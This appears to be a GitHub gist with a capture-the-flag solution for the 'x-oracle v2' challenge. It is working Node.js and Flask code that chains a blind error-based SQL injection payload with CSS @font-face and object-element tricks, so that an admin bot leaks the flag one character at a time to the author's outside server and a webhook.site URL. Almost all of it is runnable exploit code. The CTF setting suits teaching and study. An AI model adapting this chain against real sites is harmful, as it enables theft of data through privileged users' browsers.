Skip to content

Instantly share code, notes, and snippets.

@terjanq
Last active August 5, 2023 10:42
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save terjanq/33bbb8828839994c848c3b76c1ac67b1 to your computer and use it in GitHub Desktop.
Save terjanq/33bbb8828839994c848c3b76c1ac67b1 to your computer and use it in GitHub Desktop.
This is a solution of Oracle v2 and Oracle v1 from https://nn9ed.ka0labs.org/challenges#x-oracle%20v2 (I realized I could use <meta> and redirect admin to my website and run the challenge in iframes after I already solved it with bruteforcing the admin :p)
const fetch = require('node-fetch');
var flag = 'nn9ed{'
var alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!().{}'
var escape = d => d.replace(/\\/g, '\\\\').replace(/\./g, '\\.').replace(/\(/g, '\\(').replace(/\)/g, '\\)').replace(/\{/g, '\\{').replace(/\}/g, '\\}');
var make_payload = (i, o) => `Season 6%' AND 1=IF(ORD(SUBSTR(flag,${i},1))=${o},1,EXP(44444)) #` // throws an exception if the character of flag is incorrect
const base_url = 'http://x-oracle-v2.nn9ed.ka0labs.org/'
// Generates definitions for fonts
function generateFonts() {
let s = ''
for (let i = 37; i < 127; i++) {
s += `@font-face{
font-family:'l-${i}';
src:url('//trnq.cf:81/l/${i}');
unicode-range:U+0041;
}
`
}
return s;
}
// Generates rules for each object element
function generateRules() {
let s = ''
for (let i = 37; i < 127; i++) {
s += `#o${i}{
font-family: 'l-${i}'
}
`
}
return s;
}
function generateStyle() {
return '<style>' + generateFonts() + generateRules() + '</style>';
}
// generates unique objects
function generateObjects(offset) {
let s = ''
for (let i = 37; i < 127; i++) {
s += `<object id=o${i} data="/admin/search/${encodeURIComponent(make_payload(offset,i))}">A</object>
`
}
return s;
}
async function createhtml(offset) {
let r = await fetch(base_url + "createhtml", {
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
},
method: "POST",
body: JSON.stringify({ html: generateStyle() + generateObjects(offset) })
});
let html = await r.text();
return html;
}
const sleep = d => new Promise(r => setTimeout(r, d));
async function run(offset) {
// reseting currently fetched characters
await fetch('http://trnq.cf:81/reset');
// sending payload
let msg = await createhtml(offset);
let token = /readhtml\/([^"]+)/.exec(msg)[1]
// reporting payload to admin
await fetch(base_url + 'report/' + token)
while (1) {
await sleep(500);
// geting chars from my server that were not sent by an admin
let t = await fetch('http://trnq.cf:81/get_char').then(d => d.text())
// console.log(t)
// waiting for only one character missing which is a character of the flag.
if (t.split(',').length == 1) {
flag += String.fromCharCode(t);
console.log(flag);
return run(flag.length + 1)
}
}
}
var flag = 'nn9ed{'
run(flag.length + 1);
/*
<style>
@font-face{
font-family:'Capital-A';
src:url('https://webhook.site/399a2258-cd17-4e5a-ace5-be1462793718?Found:A');
unicode-range:U+0041;
}
#a{
font-family: 'Capital-A';
}
</style>
<object id="a" data="/admin/search/Season%206%25'%20AND%201%3DIF(ORD(SUBSTR(flag%2C1%2C1))%3D110%2C1%2CEXP(44444
))%20%23">A</object>
*/
from flask import Flask
app = Flask(__name__)
letters = set()
@app.route('/')
def hello():
return "Hello World!"
@app.route('/l/<l>')
def add_letter(l):
letters.add(l)
return l
@app.route('/reset')
def reset():
global letters
letters = set()
return 'reseted'
@app.route('/get_char')
def get_char():
x = []
for i in range(37,127):
if str(i) not in letters:
x += [str(i)]
return ','.join(x)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=81)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment